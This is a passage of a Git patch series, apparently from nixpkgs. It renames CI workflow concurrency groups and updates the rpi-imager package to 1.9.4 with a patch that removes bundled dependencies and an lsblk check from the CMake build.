+++ b/.github/workflows/dismissed-review.yml
@@ -7,7 +7,7 @@ on:
     types: [completed]
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: dismissed-review-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions:
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index 23e7afb624a1..49fccb5f48ba 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -17,7 +17,7 @@ on:
     types: [edited]
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: edited-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/eval-aliases.yml b/.github/workflows/eval-aliases.yml
index 91930ea3d6e3..599d82a93e51 100644
--- a/.github/workflows/eval-aliases.yml
+++ b/.github/workflows/eval-aliases.yml
@@ -7,7 +7,7 @@ on:
   pull_request_target:
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: eval-aliases-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 447561dca73c..dd7c433815dc 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -17,7 +17,7 @@ on:
       - python-updates
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: eval-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
@@ -256,8 +256,6 @@ jobs:
     permissions:
       issues: write
       pull-requests: write
-    with:
-      caller: ${{ github.workflow }}
 
   reviewers:
     name: Reviewers
@@ -268,5 +266,3 @@ jobs:
     if: needs.prepare.outputs.targetSha
     uses: ./.github/workflows/reviewers.yml
     secrets: inherit
-    with:
-      caller: ${{ github.workflow }}
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 225c913c08b2..1a8595352950 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -7,11 +7,6 @@ name: "Label PR"
 
 on:
   workflow_call:
-    inputs:
-      caller:
-        description: Name of the calling workflow.
-        required: true
-        type: string
   workflow_run:
     workflows:
       - Review dismissed
@@ -19,7 +14,7 @@ on:
     types: [completed]
 
 concurrency:
-  group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: labels-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions:
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index b5ed0c4323c4..3b212a18e0e0 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -7,7 +7,7 @@ on:
   pull_request_target:
 
 concurrency:
-  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: lint-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 1a47e38d7b0f..894da05c32e1 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -10,14 +10,9 @@ on:
   pull_request_target:
     types: [ready_for_review]
   workflow_call:
-    inputs:
-      caller:
-        description: Name of the calling workflow.
-        required: true
-        type: string
 
 concurrency:
-  group: ${{ inputs.caller }}-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
+  group: reviewers-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
   cancel-in-progress: true
 
 permissions: {}

From 0d75b3196a1dd3cc6f0b3ddb144ba401694b49cc Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Sun, 8 Jun 2025 08:17:32 +0800
Subject: [PATCH 1029/4511] rpi-imager: 1.9.0 -> 1.9.4

Diff: https://github.com/raspberrypi/rpi-imager/compare/refs/tags/v1.9.0...refs/tags/v1.9.4

Changelog: https://github.com/raspberrypi/rpi-imager/releases/tag/v1.9.4
(cherry picked from commit b53830692765d91553a583dcb800cac89e6d10f0)
---
 .../by-name/rp/rpi-imager/lsblkCheckFix.patch |  16 -
 pkgs/by-name/rp/rpi-imager/package.nix        |  32 +-
 .../remove-vendoring-and-lsblk-check.patch    | 575 ++++++++++++++++++
 3 files changed, 596 insertions(+), 27 deletions(-)
 delete mode 100644 pkgs/by-name/rp/rpi-imager/lsblkCheckFix.patch
 create mode 100644 pkgs/by-name/rp/rpi-imager/remove-vendoring-and-lsblk-check.patch

diff --git a/pkgs/by-name/rp/rpi-imager/lsblkCheckFix.patch b/pkgs/by-name/rp/rpi-imager/lsblkCheckFix.patch
deleted file mode 100644
index aa4fdeecfdb0..000000000000
--- a/pkgs/by-name/rp/rpi-imager/lsblkCheckFix.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 170ce7a..063a137 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -332,11 +332,6 @@ else()
-         if (NOT LSBLK)
-             message(FATAL_ERROR "Unable to locate lsblk (used for disk enumeration)")
-         endif()
--
--        execute_process(COMMAND "${LSBLK}" "--json" OUTPUT_QUIET RESULT_VARIABLE ret)
--        if (ret EQUAL "1")
--            message(FATAL_ERROR "util-linux package too old. lsblk does not support --json (used for disk enumeration)")
--        endif()
-     endif()
-
-     configure_file(
diff --git a/pkgs/by-name/rp/rpi-imager/package.nix b/pkgs/by-name/rp/rpi-imager/package.nix
index 14cc7a16434f..22acbd7b304a 100644
--- a/pkgs/by-name/rp/rpi-imager/package.nix
+++ b/pkgs/by-name/rp/rpi-imager/package.nix
@@ -12,18 +12,20 @@
   util-linux,
   xz,
   gnutls,
+  zstd,
+  libtasn1,
   enableTelemetry ? false,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rpi-imager";
-  version = "1.9.0";
+  version = "1.9.4";
 
   src = fetchFromGitHub {
     owner = "raspberrypi";
     repo = "rpi-imager";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-7rkoOKG0yMSIgQjqBBFUMgX/4szHn2NXoBR+5PnKlH4=";
+    hash = "sha256-Ih7FeAKTKSvuwsrMgKQ0VEUYHHT6L99shxfAIjAzErk=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/src";
@@ -31,12 +33,13 @@ stdenv.mkDerivation (finalAttrs: {
   # By default, the builder checks for JSON support in lsblk by running "lsblk --json",
   # but that throws an error, as /sys/dev doesn't exist in the sandbox.
   # This patch removes the check.
-  patches = [ ./lsblkCheckFix.patch ];
+  # remove-vendoring.patch from
+  # https://gitlab.archlinux.org/archlinux/packaging/packages/rpi-imager/-/raw/main/remove-vendoring.patch
+  patches = [ ./remove-vendoring-and-lsblk-check.patch ];
 
-  # avoid duplicate path prefixes
   postPatch = ''
-    substituteInPlace dependencies/xz-5.6.2/CMakeLists.txt \
-      --replace-fail '\''${D}/' ""
+    substituteInPlace ../debian/org.raspberrypi.rpi-imager.desktop \
+      --replace-fail "/usr/bin/" ""
   '';
 
   nativeBuildInputs = [
@@ -56,16 +59,23 @@ stdenv.mkDerivation (finalAttrs: {
       qt6.qttools
       xz
       gnutls
+      zstd
+      libtasn1
     ]
     ++ lib.optionals stdenv.hostPlatform.isLinux [
       qt6.qtwayland
     ];
 
-  # Disable telemetry and update check.
-  cmakeFlags = lib.optionals (!enableTelemetry) [
-    "-DENABLE_CHECK_VERSION=OFF"
-    "-DENABLE_TELEMETRY=OFF"
-  ];
+  cmakeFlags =
+    # Disable vendoring
+    [
+      (lib.cmakeBool "ENABLE_VENDORING" false)
+    ]
+    # Disable telemetry and update check.
+    ++ lib.optionals (!enableTelemetry) [
+      (lib.cmakeBool "ENABLE_CHECK_VERSION" false)
+      (lib.cmakeBool "ENABLE_TELEMETRY" false)
+    ];
 
   passthru = {
     tests.version = testers.testVersion {
diff --git a/pkgs/by-name/rp/rpi-imager/remove-vendoring-and-lsblk-check.patch b/pkgs/by-name/rp/rpi-imager/remove-vendoring-and-lsblk-check.patch
new file mode 100644
index 000000000000..b4db2c0efc91
--- /dev/null
+++ b/pkgs/by-name/rp/rpi-imager/remove-vendoring-and-lsblk-check.patch
@@ -0,0 +1,575 @@
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -4,6 +4,7 @@
+ cmake_minimum_required(VERSION 3.22)
+ OPTION (ENABLE_CHECK_VERSION "Check for version updates" ON)
+ OPTION (ENABLE_TELEMETRY "Enable sending telemetry" ON)
++OPTION (ENABLE_VENDORING "Use vendored dependencies" ON)
+ 
+ # We use FetchContent_Populate() instead of FetchContent_MakeAvailable() to allow EXCLUDE_FROM_ALL
+ # This prevents the dependencies from being built by default, which is our desired behavior
+@@ -58,410 +59,156 @@ if (APPLE)
+     endforeach()
+ endif(APPLE)
+ 
++## Preferentially build the bundled code. Full vendoring is to follow in a later version.
++
+ # Bundled code will occasionally use identical options - eg, BUILD_TESTING.
+ set(BUILD_TESTING OFF)
+ set(BUILD_STATIC_LIBS ON)
+ set(BUILD_SHARED_LIBS OFF)
+ 
+-include(FetchContent)
+-
+-# Bundled liblzma
+-set(LIBLZMA_VERSION "5.8.1")
+-FetchContent_Declare(xz
+-    GIT_REPOSITORY https://github.com/tukaani-project/xz.git
+-    GIT_TAG v${LIBLZMA_VERSION}
+-    ${USE_OVERRIDE_FIND_PACKAGE}
+-)
+-set(XZ_MICROLZMA_DECODER OFF CACHE BOOL "" FORCE)
+-set(XZ_MICROLZMA_ENCODER OFF CACHE BOOL "" FORCE)
+-set(XZ_LZIP_DECODER OFF CACHE BOOL "" FORCE)
+-set(XZ_ENABLE_SANDBOX OFF CACHE BOOL "" FORCE)
+-set(XZ_BUILD_SHARED_LIBS OFF CACHE BOOL "" FORCE)
+-set(XZ_ENABLE_DOXYGEN OFF CACHE BOOL "" FORCE)
+-set(XZ_DECODERS
+-    lzma1
+-    lzma2
+-    delta
+-)
+-set(XZ_ENCODERS
+-    lzma1
+-    lzma2
+-    delta
+-)
+-set(CREATE_LZMA_SYMLINKS OFF CACHE BOOL "" FORCE)
+-set(CREATE_XZ_SYMLINKS OFF CACHE BOOL "" FORCE)
+-FetchContent_GetProperties(xz)
+-if(NOT xz_POPULATED)
+-    FetchContent_Populate(xz)
+-    add_subdirectory(${xz_SOURCE_DIR} ${xz_BINARY_DIR} EXCLUDE_FROM_ALL)
+-endif()
+-unset(XZ_MICROLZMA_DECODER)
+-unset(XZ_MICROLZMA_ENCODER)
+-unset(XZ_LZIP_DECODER)
+-unset(XZ_ENABLE_SANDBOX)
+-unset(XZ_BUILD_SHARED_LIBS)
+-unset(XZ_ENABLE_DOXYGEN)
+-unset(CREATE_LZMA_SYMLINKS)
+-unset(CREATE_XZ_SYMLINKS)
+-set(LIBLZMA_FOUND true CACHE BOOL "" FORCE)
+-set(LIBLZMA_INCLUDE_DIR ${xz_SOURCE_DIR}/src/liblzma/api CACHE PATH "" FORCE)
+-set(LIBLZMA_INCLUDE_DIRS ${xz_SOURCE_DIR}/src/liblzma/api CACHE PATH "" FORCE)
+-set(LIBLZMA_LIBRARY liblzma CACHE FILEPATH "" FORCE)
+-set(LIBLZMA_LIBRARIES ${xz_BINARY_DIR}/liblzma.a CACHE FILEPATH "" FORCE)
+-set(LIBLZMA_HAS_AUTO_DECODER true CACHE BOOL "" FORCE)
+-set(LIBLZMA_HAS_EASY_ENCODER true CACHE BOOL "" FORCE)
+-set(LIBLZMA_HAS_LZMA_PRESET true CACHE BOOL "" FORCE)
+-
+-# Bundled zstd
+-set(ZSTD_VERSION "1.5.7")
+-FetchContent_Declare(zstd
+-    GIT_REPOSITORY https://github.com/facebook/zstd.git
+-    GIT_TAG v${ZSTD_VERSION}
+-    SOURCE_SUBDIR build/cmake
+-    ${USE_OVERRIDE_FIND_PACKAGE}
+-)
+-set(ZSTD_BUILD_PROGRAMS OFF CACHE BOOL "" FORCE)
+-set(ZSTD_BUILD_SHARED OFF CACHE BOOL "" FORCE)
+-set(ZSTD_BUILD_STATIC ON CACHE BOOL "" FORCE)
+-set(ZSTD_BUILD_TESTS OFF CACHE BOOL "" FORCE)
+-set(ZSTD_BUILD_DICTBUILDER OFF CACHE BOOL "" FORCE)
+-FetchContent_GetProperties(zstd)
+-if(NOT zstd_POPULATED)
+-    FetchContent_Populate(zstd)
+-    add_subdirectory(${zstd_SOURCE_DIR}/build/cmake ${zstd_BINARY_DIR} EXCLUDE_FROM_ALL)
+-endif()
+-unset(ZSTD_BUILD_PROGRAMS)
+-unset(ZSTD_BUILD_SHARED)
+-unset(ZSTD_BUILD_STATIC)
+-unset(ZSTD_BUILD_TESTS)
+-unset(ZSTD_BUILD_DICTBUILDER)
+-set(ZSTD_FOUND true CACHE BOOL "" FORCE)
+-set(Zstd_VERSION ${ZSTD_VERSION} CACHE STRING "" FORCE)
+-set(Zstd_INCLUDE_DIR ${CMAKE_CURRENT_BINARY_DIR}/_deps/zstd-src/lib CACHE PATH "" FORCE)
+-set(ZSTD_INCLUDE_DIR ${CMAKE_CURRENT_BINARY_DIR}/_deps/zstd-src/lib CACHE PATH "" FORCE)
+-set(Zstd_INCLUDE_DIRS ${CMAKE_CURRENT_BINARY_DIR}/_deps/zstd-src/lib CACHE PATH "" FORCE)
+-set(ZSTD_INCLUDE_DIRS ${CMAKE_CURRENT_BINARY_DIR}/_deps/zstd-src/lib CACHE PATH "" FORCE)
+-set(Zstd_LIBRARIES libzstd_static CACHE FILEPATH "" FORCE)
+-set(ZSTD_LIBRARIES libzstd_static CACHE FILEPATH "" FORCE)
+-set(ZSTD_LIBRARY ${CMAKE_CURRENT_BINARY_DIR}/_deps/zstd-build/lib/libzstd.a CACHE FILEPATH "" FORCE)
+-
+-# Remote nghttp2
+-set(NGHTTP2_VERSION "1.65.0")
+-FetchContent_Declare(nghttp2
+-    GIT_REPOSITORY https://github.com/nghttp2/nghttp2.git
+-    GIT_TAG        v${NGHTTP2_VERSION}
+-    ${USE_OVERRIDE_FIND_PACKAGE}
+-)
+-set(BUILD_EXAMPLES OFF)
+-set(ENABLE_LIB_ONLY ON)
+-set(ENABLE_FAILMALLOC OFF)
+-FetchContent_GetProperties(nghttp2)
+-if(NOT nghttp2_POPULATED)
+-    FetchContent_Populate(nghttp2)
+-    add_subdirectory(${nghttp2_SOURCE_DIR} ${nghttp2_BINARY_DIR} EXCLUDE_FROM_ALL)
+-endif()
+-unset(ENABLE_LIB_ONLY)
+-unset(ENABLE_FAILMALLOC)
+-unset(BUILD_EXAMPLES)
+-set(NGHTTP2_LIBRARIES nghttp2_static CACHE FILEPATH "" FORCE)
+-set(NGHTTP2_LIBRARY nghttp2_static CACHE FILEPATH "" FORCE)
+-set(NGHTTP2_INCLUDE_DIR ${nghttp2_SOURCE_DIR}/lib CACHE PATH "" FORCE)
+-set(NGHTTP2_INCLUDE_DIRS ${nghttp2_SOURCE_DIR}/lib CACHE PATH "" FORCE)
+-set(NGHTTP2_FOUND true CACHE BOOL "" FORCE)
+-
+-
+-# Bundled zlib
+-set(ZLIB_VERSION "1.4.1.1")
+-set(ZLIB_BUILD_EXAMPLES OFF CACHE BOOL "" FORCE)
+-set(ZLIB_BUILD_SHARED OFF CACHE BOOL "" FORCE)
+-set(ZLIB_BUILD_STATIC ON CACHE BOOL "" FORCE)
+-set(ZLIB_BUILD_TESTS OFF CACHE BOOL "" FORCE)
+-set(SKIP_INSTALL_ALL ON CACHE BOOL "" FORCE)
+-FetchContent_Declare(zlib
+-    GIT_REPOSITORY https://github.com/madler/zlib.git
+-    GIT_TAG 5a82f71ed1dfc0bec044d9702463dbdf84ea3b71 # v1.4.1.1, as of 27/05/2025
+-    ${USE_OVERRIDE_FIND_PACKAGE}
+-)
+-FetchContent_GetProperties(zlib)
+-if(NOT zlib_POPULATED)
+-    FetchContent_Populate(zlib)
+-    add_subdirectory(${zlib_SOURCE_DIR} ${zlib_BINARY_DIR} EXCLUDE_FROM_ALL)
+-endif()
+-unset(ZLIB_BUILD_EXAMPLES)
+-unset(ZLIB_BUILD_SHARED)
+-unset(ZLIB_BUILD_STATIC)
+-unset(ZLIB_BUILD_TESTS)
+-unset(SKIP_INSTALL_ALL)
+-# Set zlib variables that libarchive's CMake will use
+-set(ZLIB_USE_STATIC_LIBS ON CACHE BOOL "" FORCE) # This is to help FindZlib.cmake find the static library over the shared one
+-set(ZLIB_ROOT ${zlib_SOURCE_DIR} CACHE PATH "" FORCE)
+-
+-# On Windows with MinGW, zlib builds with .a extension, not .lib
+-# Set the correct library path before find_package
+-if (WIN32 AND CMAKE_COMPILER_IS_GNUCXX)
+-    set(ZLIB_LIBRARY ${zlib_BINARY_DIR}/libzlibstatic.a CACHE FILEPATH "" FORCE)
+-    set(ZLIB_LIBRARIES ${zlib_BINARY_DIR}/libzlibstatic.a CACHE STRING "" FORCE)
+-else()
+-    set(ZLIB_LIBRARY ${zlib_BINARY_DIR}/libz.a CACHE FILEPATH "" FORCE)
+-    set(ZLIB_LIBRARIES ${zlib_BINARY_DIR}/libz.a CACHE STRING "" FORCE)
+-endif()
+-
+-# Since we're building zlib ourselves with EXCLUDE_FROM_ALL, we don't need find_package
+-# Instead, we'll create the ZLIB::ZLIB target manually and set all required variables
+-set(ZLIB_INCLUDE_DIR ${zlib_SOURCE_DIR} CACHE PATH "" FORCE)
+-set(ZLIB_INCLUDE_DIRS ${zlib_SOURCE_DIR} CACHE PATH "" FORCE)
+-
+-# Create ZLIB::ZLIB target manually since we're not using find_package
+-# Set zlib variables that other packages expect
+-set(ZLIB_FOUND TRUE CACHE BOOL "" FORCE)
+-add_library(ZLIB::ZLIB STATIC IMPORTED)
+-if (WIN32 AND CMAKE_COMPILER_IS_GNUCXX)
+-    set_target_properties(ZLIB::ZLIB PROPERTIES
+-        IMPORTED_LOCATION "${zlib_BINARY_DIR}/libzlibstatic.a"
+-        INTERFACE_INCLUDE_DIRECTORIES "${zlib_SOURCE_DIR};${zlib_BINARY_DIR}"
+-    )
+-    add_dependencies(ZLIB::ZLIB zlibstatic)
+-else()
+-    set_target_properties(ZLIB::ZLIB PROPERTIES
+-        IMPORTED_LOCATION "${zlib_BINARY_DIR}/libz.a"
+-        INTERFACE_INCLUDE_DIRECTORIES "${zlib_SOURCE_DIR};${zlib_BINARY_DIR}"
++if(ENABLE_VENDORING)
++    # Bundled liblzma
++    set(XZ_MICROLZMA_DECODER OFF)
++    set(XZ_MICROLZMA_ENCODER OFF)
++    set(XZ_LZIP_DECODER OFF)
++    set(XZ_ENABLE_SANDBOX OFF)
++    set(XZ_BUILD_SHARED_LIBS OFF)
++    set(XZ_ENABLE_DOXYGEN OFF)
++    set(XZ_DECODERS
++        lzma1
++        lzma2
++        delta
+     )
+-    add_dependencies(ZLIB::ZLIB zlibstatic)
+-endif()
+-
+-# Debug output
+-message(STATUS "ZLIB_LIBRARY set to: ${ZLIB_LIBRARY}")
+-message(STATUS "ZLIB_LIBRARIES set to: ${ZLIB_LIBRARIES}")
+-message(STATUS "ZLIB_INCLUDE_DIRS set to: ${ZLIB_INCLUDE_DIRS}")
+-
+-# Bundled libarchive
+-
+-set(ENABLE_WERROR OFF CACHE BOOL "")
+-set(ENABLE_INSTALL OFF CACHE BOOL "")
+-set(ENABLE_TEST OFF CACHE BOOL "")
+-set(ENABLE_CNG OFF CACHE BOOL "")
+-set(ENABLE_MBEDTLS OFF CACHE BOOL "")
+-set(ENABLE_NETTLE OFF CACHE BOOL "")
+-set(ENABLE_OPENSSL OFF CACHE BOOL "")
+-# Configure libarchive with explicit zlib support
+-set(ENABLE_ZLIB ON CACHE BOOL "")
+-set(ENABLE_BZip2 OFF CACHE BOOL "")
+-set(ENABLE_LZ4 OFF CACHE BOOL "")
+-set(ENABLE_LZO OFF CACHE BOOL "")
+-set(ENABLE_LIBB2 OFF CACHE BOOL "")
+-set(ENABLE_LIBXML2 OFF CACHE BOOL "")
+-set(ENABLE_EXPAT OFF CACHE BOOL "")
+-set(ENABLE_PCREPOSIX OFF CACHE BOOL "")
+-set(ENABLE_PCRE2POSIX OFF CACHE BOOL "")
+-set(ENABLE_LIBGCC OFF CACHE BOOL "")
+-set(ENABLE_TAR OFF CACHE BOOL "")
+-set(ENABLE_CPIO OFF CACHE BOOL "")
+-set(ENABLE_CAT OFF CACHE BOOL "")
+-set(BUILD_SHARED_LIBS OFF CACHE BOOL "")
+-set(ARCHIVE_BUILD_STATIC_LIBS ON CACHE BOOL "")
+-set(ARCHIVE_BUILD_EXAMPLES OFF CACHE BOOL "")
+-set(ENABLE_ZSTD ON CACHE BOOL "")
+-set(POSIX_REGEX_LIB "libc" CACHE STRING "" FORCE)
+-set(LIBARCHIVE_VERSION "3.8.0")
+-
+-# Create a patch script to fix ZSTD detection in libarchive
+-set(LIBARCHIVE_PATCH_FILE "${CMAKE_CURRENT_BINARY_DIR}/libarchive_zstd_patch.cmake")
+-file(WRITE ${LIBARCHIVE_PATCH_FILE} "
+-# Read the original CMakeLists.txt
+-file(READ \"\${CMAKE_CURRENT_SOURCE_DIR}/CMakeLists.txt\" CONTENT)
+-
+-# Find the start and end of the ZSTD section
+-string(FIND \"\${CONTENT}\" \"IF(ZSTD_FOUND)\" ZSTD_START)
+-string(FIND \"\${CONTENT}\" \"MARK_AS_ADVANCED(CLEAR ZSTD_INCLUDE_DIR)\" ZSTD_END)
+-
+-if(ZSTD_START GREATER -1 AND ZSTD_END GREATER -1)
+-    # Calculate positions
+-    math(EXPR ZSTD_END \"\${ZSTD_END} + 40\") # Length of \"MARK_AS_ADVANCED(CLEAR ZSTD_INCLUDE_DIR)\"
+-    
+-    # Extract parts before and after the ZSTD section
+-    string(SUBSTRING \"\${CONTENT}\" 0 \${ZSTD_START} BEFORE_ZSTD)
+-    string(SUBSTRING \"\${CONTENT}\" \${ZSTD_END} -1 AFTER_ZSTD)
+-    
+-    # Create the new ZSTD section
+-    set(NEW_ZSTD_SECTION \"IF(ZSTD_FOUND)
+-  SET(HAVE_ZSTD_H 1)
+-  INCLUDE_DIRECTORIES(\\\${ZSTD_INCLUDE_DIR})
+-  LIST(APPEND ADDITIONAL_LIBS \\\${ZSTD_LIBRARY})
+-  
+-  # Check if ZSTD variables were provided externally (indicating static build)
+-  get_property(ZSTD_LIB_IS_CACHE CACHE ZSTD_LIBRARY PROPERTY TYPE)
+-  get_property(ZSTD_INC_IS_CACHE CACHE ZSTD_INCLUDE_DIR PROPERTY TYPE)
+-  if(ZSTD_LIB_IS_CACHE AND ZSTD_INC_IS_CACHE)
+-    # Skip function checks for static builds and assume all functions are available
+-    message(STATUS \\\"Using provided ZSTD library: \\\${ZSTD_LIBRARY}\\\")
+-    SET(HAVE_LIBZSTD 1)
+-    SET(HAVE_ZSTD_compressStream 1)
+-    SET(HAVE_ZSTD_minCLevel 1)
+-  else()
+-    # Original function checks for dynamic builds
+-    CMAKE_PUSH_CHECK_STATE()
+-    SET(CMAKE_REQUIRED_LIBRARIES \\\${ZSTD_LIBRARY})
+-    SET(CMAKE_REQUIRED_INCLUDES \\\${ZSTD_INCLUDE_DIR})
+-    CHECK_FUNCTION_EXISTS(ZSTD_decompressStream HAVE_LIBZSTD)
+-    CHECK_FUNCTION_EXISTS(ZSTD_compressStream HAVE_ZSTD_compressStream)
+-    CHECK_FUNCTION_EXISTS(ZSTD_minCLevel HAVE_ZSTD_minCLevel)
+-    CMAKE_POP_CHECK_STATE()
+-  endif()
+-ENDIF(ZSTD_FOUND)
+-MARK_AS_ADVANCED(CLEAR ZSTD_INCLUDE_DIR)\")
+-    
+-    # Combine the parts
+-    set(NEW_CONTENT \"\${BEFORE_ZSTD}\${NEW_ZSTD_SECTION}\")
+-    
+-    # Write the modified content back
+-    file(WRITE \"\${CMAKE_CURRENT_SOURCE_DIR}/CMakeLists.txt\" \"\${NEW_CONTENT}\${AFTER_ZSTD}\")
+-    message(STATUS \"Patched libarchive CMakeLists.txt for static ZSTD support\")
+-else()
+-    message(WARNING \"Could not find ZSTD section in libarchive CMakeLists.txt\")
+-endif()
+-")
+-
+-FetchContent_Declare(libarchive
+-    GIT_REPOSITORY https://github.com/libarchive/libarchive.git
+-    GIT_TAG v${LIBARCHIVE_VERSION}
+-    PATCH_COMMAND ${CMAKE_COMMAND} -P ${LIBARCHIVE_PATCH_FILE}
+-    ${USE_OVERRIDE_FIND_PACKAGE}
+-)
+-FetchContent_GetProperties(libarchive)
+-if(NOT libarchive_POPULATED)
+-    FetchContent_Populate(libarchive)
+-    add_subdirectory(${libarchive_SOURCE_DIR} ${libarchive_BINARY_DIR} EXCLUDE_FROM_ALL)
+-endif()
+-
+-# Ensure libarchive is built after zlib
+-if (TARGET archive_static AND TARGET ZLIB::ZLIB)
+-    add_dependencies(archive_static ZLIB::ZLIB)
+-endif()
+-
+-unset(POSIX_REGEX_LIB)
+-unset(ENABLE_WERROR)
+-unset(ENABLE_INSTALL)
+-unset(ENABLE_TEST)
+-unset(ENABLE_CNG)
+-unset(ENABLE_MBEDTLS)
+-unset(ENABLE_NETTLE)
+-unset(ENABLE_OPENSSL)
+-unset(ENABLE_ZLIB)
+-unset(ENABLE_BZip2)
+-unset(ENABLE_LZ4)
+-unset(ENABLE_LZO)
+-unset(ENABLE_LIBB2)
+-unset(ENABLE_LIBXML2)
+-unset(ENABLE_EXPAT)
+-unset(ENABLE_PCREPOSIX)
+-unset(ENABLE_PCRE2POSIX)
+-unset(ENABLE_LIBGCC)
+-unset(ENABLE_TAR)
+-unset(ENABLE_CPIO)
+-unset(ENABLE_CAT)
+-unset(ARCHIVE_BUILD_SHARED_LIBS)
+-unset(ENABLE_ZSTD)
+-set(LibArchive_FOUND true CACHE BOOL "" FORCE)
+-set(LibArchive_LIBRARIES archive_static CACHE FILEPATH "" FORCE)
+-set(LibArchive_INCLUDE_DIR ${libarchive_SOURCE_DIR}/libarchive CACHE PATH "" FORCE)
+-set(LibArchive_INCLUDE_DIRS ${libarchive_SOURCE_DIR}/libarchive CACHE PATH "" FORCE)
+-
+-# Bundled libcurl
+-set(CURL_VERSION "8.13.0")
+-string(REPLACE "." "_" CURL_TAG ${CURL_VERSION})
+-FetchContent_Declare(curl
+-    GIT_REPOSITORY https://github.com/curl/curl.git
+-    GIT_TAG curl-${CURL_TAG}
+-    ${USE_OVERRIDE_FIND_PACKAGE}
+-)
+-set(BUILD_CURL_EXE OFF CACHE BOOL "" FORCE)
+-set(BUILD_LIBCURL_DOCS OFF CACHE BOOL "" FORCE)
+-set(BUILD_MISC_DOCS OFF CACHE BOOL "" FORCE)
+-set(ENABLE_CURL_MANUAL OFF CACHE BOOL "" FORCE)
+-set(BUILD_EXAMPLES OFF CACHE BOOL "" FORCE)
+-set(CURL_USE_LIBPSL OFF CACHE BOOL "" FORCE)
+-set(CURL_USE_LIBSSH2 OFF CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_ALTSVC ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_KERBEROS_AUTH ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_DICT ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_DISABLE_FORM_API ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_FTP ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_GOPHER ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_IMAP ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_LDAP ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_LDAPS ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_MQTT ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_NETRC ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_POP3 ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_RTSP ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_SMTP ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_TELNET ON CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_TFTP ON CACHE BOOL "" FORCE)
+-set(CURL_ZSTD ON)
+-set(CURL_ENABLE_EXPORT_TARGET OFF CACHE BOOL "" FORCE)
+-set(CURL_DISABLE_INSTALL ON)
+-if (APPLE)
+-    # TODO: SecureTransport is a deprecated API in macOS, supporting
+-    #       only up to TLS v1.2. cURL has not implemented the replacement,
+-    #       Network.framework, and so we will need to select an alternative.
+-    #       Best recommendation: Libressl, as used by Apple in the curl binary
+-    #       on macOS.
+-    set(CURL_USE_SECTRANSP ON)
+-    set(CURL_DEFAULT_SSL_BACKEND "secure-transport")
+-    set(USE_APPLE_IDN ON)
+-else()
+-    if (WIN32)
+-        set(CURL_USE_SCHANNEL ON)
+-        set(CURL_DEFAULT_SSL_BACKEND "schannel")
+-    else ()
+-        set(CURL_USE_GNUTLS ON)
+-        set(CURL_DEFAULT_SSL_BACKEND "gnutls")
+-    endif(WIN32)
+-endif(APPLE)
+-
+-FetchContent_GetProperties(curl)
+-if(NOT curl_POPULATED)
+-    FetchContent_Populate(curl)
+-    add_subdirectory(${curl_SOURCE_DIR} ${curl_BINARY_DIR} EXCLUDE_FROM_ALL)
++    set(XZ_ENCODERS "")
++    set(CREATE_LZMA_SYMLINKS OFF)
